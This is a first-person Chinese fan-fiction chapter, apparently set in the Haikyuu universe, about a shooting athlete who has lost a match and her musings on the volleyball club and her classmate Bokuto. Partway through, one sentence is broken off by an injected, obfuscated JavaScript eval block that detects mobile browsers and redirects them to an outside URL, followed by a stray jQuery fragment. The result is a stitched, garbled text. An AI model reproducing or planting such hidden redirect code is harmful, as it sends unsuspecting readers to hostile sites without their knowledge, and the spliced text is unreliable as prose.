漏掉了什么呢...
换作是推理小说的侦探主角，这个被我漏掉的细节，搞不好就是破案的关键，一旦错过，大概就会和事件的真相以及制造混乱的‘真凶’失之交臂吧。
还好我不是。
所以我毫无心理负担地将这件事抛之脑后，而且铃木老师和安部教练已经在门口等我了。
应该已经习惯了才对。
不论是他们，还是我，对于这样的结果。
“感觉怎么样？排球部的比赛。”
这是我今天第二次被问到这个问题了，但这次的提问人不是作为部门经理的白福同学，而是铃木老师。
安部教练的神色倒是看不出异常，想来也是铃木老师提前跟她说过了。
想到这里，我收回悄悄揣摩的目光，也跟安部教练问好。
这个总是不苟言笑的女人还是跟平时一样，简单地冲我点了点头，不过这次，我明显感觉到她似乎也期待着我的回复，关于排球部的比赛。
“他们很厉害，不是通常意义上的那种，说实话，关于排球，我能看懂的部分也不多。”
我不是健谈的人，大部分时候，我想说的话都在心里说完了，像我这样的人如果把真心话脱口而出只会伤害无辜的人。
现在这个社会，过度的自我否定也会引起人们的反感，自信又谦逊，这才是主流认可的品行，而我也很难在谦虚与自卑间找到平衡。
所以我选择减少发言的频率，避免我错漏百出的人生出现更多的差池。
于是当鲜少发表高谈阔论的我开始以一种‘接下来我要说很多’的状态作为开头时，不论是铃木老师、还是安部教练，都露出了惊讶的表情。
当然，后者只是挑了挑眉。
铃木老师倒是显而易见地高兴。
“他们的王牌，是跟我同班的木兔...同学。”
“啊，木兔的话我印象也很深刻哦，怎么说呢，的确很有王牌的气魄啊，那孩子。”铃木老师偏过头，向安部教练解释。
王牌的气魄吗。
“但是，有一段时间，他的状态很不好。”面对熟悉的人，没有委婉的必要：“我以为比赛会就这么结束。”
听到这里，铃木老师始终保持的微笑逐渐消失，取而代之的是我很少在他脸上看到的严肃。
还有安部教练。
他们大概也猜到了，看到那样的木兔，我又会想到什么。
“的确，在我还没反应过来的时候，比赛结束了。但那个时候，我看到的是那个熟悉的木兔同学，也是铃木老师说的...”
“有着王牌的气魄的人。”
“一定发生了什么我没能理解的事情，或许是木兔自己的功劳，又或许是场上的其他人做了什么。总之，能在比赛结束之前迅速调整到和之前一样...不，甚至是比一开始还要强大的状态的排球部，在我看来，很厉害。”
所以到底发生了什么呢，为什么偏偏在那个时候走神。
许久，我意识到安部教练和铃木老师一直没有说话。
一般情况下，面对突如其来的沉默，我应该反思自己是不是说错话了。
不仅是说错了吧...不反思自己的比赛，反倒在这里对着别人的胜利大加分析。
“抱歉，教练，老师，我好像有点分心了。”
“不，比赛已经结束了不是吗？”安部教练摇了摇头，是少有的温柔语气。
我听了却更不好受。
“我倒是觉得，小光你可能搞错因果关系了呢。”
“因果...关系？”
“不是看到了以前没有发现的事物才分心，而是因为‘分心’，才会注意到曾经忽略的东西。”
“抱——”
铃木老师摇了摇头。
“老师没有责怪你的意思。‘专注’是小光的武器，但‘分心’并不等于放弃这项优势。”铃木老师笑着继续：“而且就像安部教练说的，比赛已经结束了不是吗？”
我继续用不解的眼神看着他，但铃木老师似乎并没有要向我解释这段听上去相当矛盾的话的意思，于是我也只能带着这一头雾水跟在两位大人身后闷头向前，直到坐进铃木老师的汽车。
在车上，我忍不住开始思考许多问题。
比如，木兔到底为什么会跟白福同学提到我，难道让她当场认出我的，真的只是高一开学的那件事吗？我不认为除了小心眼的我，还会有人记得那种无关紧要的小事，更何况是一看就心眼大到没边的木兔。
对他而言，我大概只是一个不那么好相处的同班同学吧。
算了，还是换个问题好了。
又比如，铃木老师所谓的‘分心’到底是指哪件事？是我过分关心和自己的比赛无关的排球部的事情？还是今天来看比赛这件事？不...这根本就是同一件事吧。
不行，脑细胞不够用了。
我本来也不是多聪明的人，而且也不擅长分析别人的想法，虽然我经常干这种事情...
但如果硬要在我身上挖掘那么一两个优点的话，我想‘自我认知清晰’大概会是其中之一。
所以我现在很清楚地知道，我该放弃纠结这些没有结果的问题，闭上眼睛好好睡一觉。
回到学校以后，我独自回到了训练室，在安部教练和铃木老师的确认中，表示自己一个人完全没有问题。
毕竟，我一直都是一个人。
一个人待在无数间出租屋里，不管是待了很久在我以为那间房子可以被称作‘家’的时候，还是离开所谓的‘家’刚刚搬进的一个新空间。
一个人离开原来的学校，一个人去新的学校，一个人面对一整个已经互相熟悉的班级，一个人在体育课的分组练习上落单最后只能跟体育老师互相垫球。
那个时候我是讨厌排球的，但具体说来，我讨厌的也并非排球本身。
而是看到我和体育老师练习对垫时，时不时飘向我的，莫名同情的目光。
什么啊，这不是很正常的吗？
既然人数是奇数，总得有人落单吧？
只不过这个倒霉蛋是我而已。
现在想来，被我迁怒的排球还是挺无辜的。
啊，好安静。
当我将明天要用来练习的皮衣和设备放回原位，重新将门锁上以后，我察觉到了熟悉的场景里，不同于以往的氛围。
排球部的比赛还没有结束，成员这个时候应该还在体育馆附近的旅馆休息，也可能还在用餐，但不论是什么活动，一定都安静不到哪里去。
将钥匙拔出锁孔，我走出了学校。
但我还不想这么早回家。
去哪呢？
摆在我面前的有两条路，左转，回家。
右转，600米左右的位置是我打工的咖啡店，但今天没有我的排班，当然是因为那场首轮败退的比赛。
不过我没有告诉店长或者值班的同事自己是为了参加比赛，只是随便找了个借口替那位今天出勤的同事顶了一个休息日的工作，然后把今天空了出来。
最好还是不要去了。
要是被问到“今天不是有事吗？怎么有空过来了。”——这样的问题，我可不知道怎么回答。
还是回家吧，难得空闲，晚上早点休息好了。
但一想到今天那些没有结论的纠结，和下午在车上睡的觉，我很怀疑自己晚上能不能早点睡着。
回到家，父亲在客厅看球赛，茶几上是熟悉的罐装啤酒，母亲在厨房准备晚饭。
“我回来了。”
“诶？这么快就回来了吗？”
“今天没有上课...”想了想，我还是补充了理由，毕竟身为学生周内不上课，又不是假期，还是很奇怪的不是吗？
“因为去比赛了。”
至于比赛的结果，也不必多说。
母亲大概是猜到了什么，沉默地看了我一眼，继续低头看向咕嘟咕嘟地冒着泡的炖锅——
“冰箱里还有之前便利店打折买的即食米饭，要一起——”
“不用了，我吃三明治就好了，今天想早点休息。”
“嗯，那你早点休息吧。”
我点点头，准备回到自己的房间，路过客厅的时候父亲也看到了我，看样子他也听到了我和母亲刚才的对话，顶着被酒精熏红的脸大声安慰：
“没关系的小光，下次赢回来就好了！那位...嗝，高木老师不是说了吗？你可是有天赋的孩子。”
“嗯。我先回房间了。”
所以高木到底是谁啊。
坐在书桌边，我想起昨天的作业还没写，虽然因为有比赛的借口，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15447226|169436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
老师也不会急着让我明天就补上，但是毫无睡意的我还是打算给自己找点事情做。
于是我翻开数学作业。
不会。
要换成英语吗？反正不会的也可以查英语词典，至少还能选出大意差不多的选项，最多就是慢一点。
或者国语。得益于那些一个人度过的无聊时光，我还是看了不少书的，所以我的国语成绩还算拿得出手，起码从来不用担心及格的问题。
用父亲正在看的棒球比赛来作比，就是所谓的‘好球区’。
看着摊在面前的数学作业，我最终放弃了纠结，认命般翻开教材，对照着之前的笔记开始复习相关的知识点，实在搞不懂的也只能空出来了。
一个小时过去，我勉强完成了欠下的数学作业，完全不知所谓的题目也誊抄了我自认为沾边的公式。
此时时钟指向七点。
距离我平时睡觉的时间还有三个小时。
就算要早睡，至少也得再熬两个小时。
时间太多原来也是一种烦恼吗？真奢侈。
那些还在比赛的选手大概是永远不会有这样的烦恼了。
不论是当时站在我旁边，冷静地打出更靠中心的成绩的选手。
还是我看到的，成功扭转颓势，用漂亮的反击拿下胜利的排球部。
所以那个时候，到底发生了什么呢？
直到我将剩下的作业补完，毫无困倦地躺回床上，这个问题还在不断困扰着我。
和那身挂在墙上的灰蓝色制服一起。
两天以后，排球部带着全国八强的成绩回到学校。
在我看来这已经是很不错的结果了，但木兔却对此并不满意，我猜可能是赛场上发生了令他在意的事情。
但我一定猜不到那到底会是什么事，从认识他的那一天开始，我就搞不懂这个人脑子里都在想些什么，我不聪明，也没有木兔那种奇奇怪怪的直觉。
不过...虽然没有直觉，但我对别人的视线还是很敏感的。
为什么突然提起这件事，不是因为我自贬的话说多了突发奇想觉得也需要夸夸自己，而是——
谁能解释一下他为什么突然开始看向这边？
在看窗外吗？
不。
我用余光扫了一眼被早上的值日生擦到反光的窗户，对此我深表感激，因为正是这位同学的认真保洁，我才能透过玻璃的镜像看到木兔直直落在我身上的视线。
是的，不是窗外，是——
眼见他的视线焦点就要朝我眼睛的方向转移，我迅速低头，看回自己干干净净的课本。
嗯，抄点笔记吧。
于是我又抬头看向黑板，将板书不加思考地誊抄到书上。
不知道过了多久，那道意义不明的视线终于移走了，下课铃也适时响起。
就在我以为危机就此解除、准备带上昨晚忘记吃掉的三明治找个没人的地方解决午餐时，一道巨大的阴影将我整个人罩住了。
我像被当场抓包的小偷一样抬起头，手里还捏着用保鲜膜包裹起来的三明治：
“那个...你有什么事吗？”
“倒没有什么特别的事情...”
那真是太好了。
但我猜这句话后面应该还会跟上一句‘但是’。
“中岛，你是不是来看我们的比赛了？我好像在观众席看到你了。”
“嗯，当时刚好就在附近，所以就去看了。”
“啊！那个人果然是你，要不是赤苇说你后来又走了，我还怀疑自己看错了。”
他跑过来跟一个大半年没说过一句话的人就为了聊这个？
就算是木兔，这种行径也过于诡异了吧？
我犹豫要不要把这份疑问问出口，但苦于一时还没找到合适的措辞，于是只能沉默着等待木兔继续：
“你看得不开心吗？那天的比赛，我们明明赢了。”
看吧。
我果然还是理解不了他在想什么。
但就算无法理解，时隔一年，我还是会被这份不给人留退路的直觉吓到说不出话。
过度惊吓之下，我想到了一个馊主意。
在那双肖似某种猛禽类的金色竖瞳的注视下，我干巴巴地吐出几个字：
“因为我刚刚输掉了比赛。”